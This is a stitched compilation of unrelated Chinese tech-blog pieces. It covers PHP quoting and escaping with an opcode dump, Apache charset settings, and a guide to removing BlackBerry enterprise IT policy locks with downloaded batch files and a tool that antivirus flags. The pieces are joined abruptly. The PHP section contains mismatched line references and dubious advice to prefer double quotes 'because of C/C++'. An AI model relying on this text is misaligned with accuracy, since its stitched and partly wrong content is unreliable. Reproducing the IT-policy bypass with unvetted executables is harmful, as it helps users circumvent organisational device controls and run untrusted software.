任何时候你要在数据库中写入字串,你都必须确保里面的引号正确使用了转义符号,这是很多PHP初学者常犯的错误。
四、双引号和HTML
与SQL语句不同,在标准HTML语言中双引号常被用来表示字串(现在很多浏览器具备较强的容错功能,允许在HTML中用单引号甚至不用引号表示字符串),例如:
$html = '<a href="'.$url.'">'.$link.'</a>';
$html = "<a href=\"$url\">$link</a>";
HTML语言不支持反斜杠转义,这一点在我们使用表单的hidden inputs来传输数据的时候就会有所体会了。设置hidden inputs的值的最好办法,是使用htmlspecialchars()函数来编码。下面的语句可以正常传输一个可能包含双引号的数据:
<input type=hidden name=var value="<?php echo htmlspecialchars($var) ?>"> 
经常有人问我,听说在PHP中处理字符串用单引号会快,那么如果存在变量替换的时候,是使用单引号连接快呢,还是双引号快呢? 简单的回答,显然是苍白无力的。 今天我们来做个实验,看看到底单引号和双引号有什么区别,谁快,谁慢。
测试代码如下:
<?php
$single_quotes = 'This is a String';
$double_quotes = "This is a String";
echo $single_quotes;
echo $double_quotes;
$var = 'String';
$single_quotes_var = 'This is a '.$var;
$double_quotes_var = "This is a $var";
echo $single_quotes_var;
echo $double_quotes_var;
$var = 'This';
$single_quotes_var_pre = $var . ' is a String';
$double_quotes_var_pre = "$var is a String";
echo $single_quotes_var_pre;
echo $double_quotes_var_pre;
?>
接下来,让我们以前文章提到过的Opcodes生成器来看看,最终我们的这段代码是怎么被执行的:
Branch analysis from position: 0
Return found
filename: /home/xinchen/string.php
function name: (null)
number of ops: 24
compiled vars: !0 = $single_quotes, !1 = $double_quotes, !2 = $var, !3 = $single_quotes_var, !4 = $double_quotes_var, !5 = $single_quotes_var_pre, !6 = $double_quotes_var_pre
line # op fetch ext return operands
-------------------------------------------------------------------------------
2 0 ASSIGN !0, 'This+is+a+String'
3 1 ASSIGN !1, 'This+is+a+String'
4 2 ECHO !0
5 3 ECHO !1
7 4 ASSIGN !2, 'String'
8 5 CONCAT ~3 'This+is+a+', !2
6 ASSIGN !3, ~3
9 7 INIT_STRING ~5
8 ADD_STRING ~5 ~5, 'This+is+a+'
9 ADD_VAR ~5 ~5, !2
10 ASSIGN !4, ~5
11 11 ECHO !3
12 12 ECHO !4
14 13 ASSIGN !2, 'This'
16 14 CONCAT ~8 !2, '+is+a+String'
15 ASSIGN !5, ~8
17 16 INIT_STRING ~10
17 ADD_VAR ~10 ~10, !2
18 ADD_STRING ~10 ~10, '+is+a+String'
19 ASSIGN !6, ~10
19 20 ECHO !5
20 21 ECHO !6
22 22 RETURN 1
23* ZEND_HANDLE_EXCEPTION
注意第0到第3条op line, 可以看出在没有使用变量替换的情况下,双引号的和单引号所产生的Opcodes是一样的。
再来看:第4到第12条, 可以发现,在使用变量替换的情况下,使用双引号和单引号所生成的Opcodes是不一样的,我们来分析双引号情况下的Opcodes:
7 INIT_STRING 初始化一个字符串变量,存放在~5临时变量中。
8 ADD_STRING 将第一部分字符串写入。
9 ADD_VAR 将变量替换的字符串写入。
第16-28行同理。
从这里我们可以发现,在使用双引号的情况下和使用单引号的情况下,同样的逻辑,所经历的执行确实不一样的(因为,Opcodes对于PHP来说就是最终的执行代码)。单单从生成的Opcods数量来说,就已经足以证明确实是使用单引号会快了。
至于编译阶段,双引号和单引号的区别也是很大的, 我就举个数字来说明: 在scanning阶段, 对于双引号的词法规则有14条,而对于单引号,仅仅只有6条。
呵呵,是不是经过这样的分析,你会更清楚的了解到以后该怎么使用单引号和双引号了呢?
顺便说一句,对于不需要变量替换的纯字符串,大家都知道,因为在C/C++中,双引号才表示字符串,所以这种情况下,还是使用双引号的好。
另外对于W3C标准来说, HTML中的属性值应该是使用双引号来包含的 ,所以不要习惯了单引号,到处滥用哦 
看到这些,我可以想到光光是一个引号问题都有这么大学问,是应该好好学习下免得以后搞得我头痛。
希望大家也要注意下了。

摘自http://wiki.ubuntu.org.cn/LAMP_%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%AE%89%E8%A3%85%E9%85%8D%E7%BD%AE#.E9.85.8D.E7.BD.AEapache


首先sudo打开apache字符配置文件

sudo gedit /etc/apache2/conf.d/charset

将其中的

# AddDefaultCharset 

的井号去掉,后面字段改成UTF-8(如果您的网站是这样了话)

AddDefaultCharset     UTF-8 

中间的空格数并不重要,但一定要有。


改GB2312同理  把UTF-8改成GB2312即可

今天兄弟让帮忙看一下他的小黑莓,说是老是提示IT策略不允许,好多应用程序都不能用~

然后就在网上翻阅的一下,貌似跟BES锁(小红锁)有关,具体关系貌似还很纠结。。。。。 - -! 好吧,那就不管他了,主要把IT策略弄好吧。下面是今天翻阅的几个用到的教程和软件,分享一下~

 

首先是加小红锁解决IT策略问题:

 加锁的前提:

    1、当你运行某个程序突然弹出类似这样的说明,应用程序视图打开一个到防火墙内部位置的连接和一个IT策略不允许的防火墙外部连接;

    2、在没有小红锁或者已经有小红锁,但是出现BM或者尚邮的邮件附件无法下载,飞信等网络程序无法正常登陆,应用程序同PC端程序无法同步;

     这两种情况都说明你现在需要加上这个小红锁。

具体操作:

    1、下载”BBerCN-IT策略.rar”,如果你的桌面管理器没有更改安装位置,运行”加载.bat”文件即可,如更改了安装位置,将”policy.bin”文件跟桌面管理器放置在一起;

     2、将手机连接到USB,打开桌面管理器,弹出”BBerCN – IT “,点击确定;

     3、关闭桌面管理器,现在查看应用程序是否已经可以连接网络或者同步,如成功说明小红锁以添加,如不能请返回第一步继续操作。

 

这种方法不会删除手机内的资料,不需要备份。。。。

 

然后是去掉小红锁解决IT策略的方法:

    1、我们要做的是先加上小红锁,是的,没错,先加上小红锁解决IT策略问题,方法参见上文。

    2、运行”删除.bat”文件删除掉”policy.bin”;

     3、使用去锁工具去掉小红锁,这里推荐黑莓瑞士军刀BBSAK,去锁前请备份数据;

去锁方法:

     ① 备份好数据后,运行BBSAK,点击Connect连接到BB;

     ② 出现PIN后,点击Factory恢复至出厂状态;

     ③ 在弹出的 Are you sure? This will erase all data 选择是;

     ④ 弹出 Factory Reset Completed 恢复出厂状态成功;

     ⑤ BB重启,去锁成功;

     4、去锁后设置应用程序权限(关键),这时应用程序都可以使用,也没有小红锁的烦恼了。

     注意:去锁会将你的数据清空,但不影响第三方程序。


最后在补充一个软件 ----- it_policy.exe,这个小程序可以解除黑莓的IT策略

黑莓手机BES 防火墙小红锁/IT策略 解锁软件

需要OS 4.3以上,运行时手机不能设置密码。

软件来自WIS开发。

注意:诺顿会误报为病毒。

 

使用方法非常简单:(使用前请先行备份)

    用数据线连接BB和电脑,记得一定要事先备份,因为这一软件会清空数据。运行软件,按键确认即可。

    等待BB重启,接着屏幕上显示 WIPE(格式化)进度条,机器格式化重启完会回到英语状态,重新设置即可。

恢复备份资料。

 

嗯嗯,大体上就是这样,希望能给有同样问题的BB用户一些帮助~

 

附件下载:

BBerCN-IT策略.rar

黑莓瑞士军刀.zip

it_policy.rar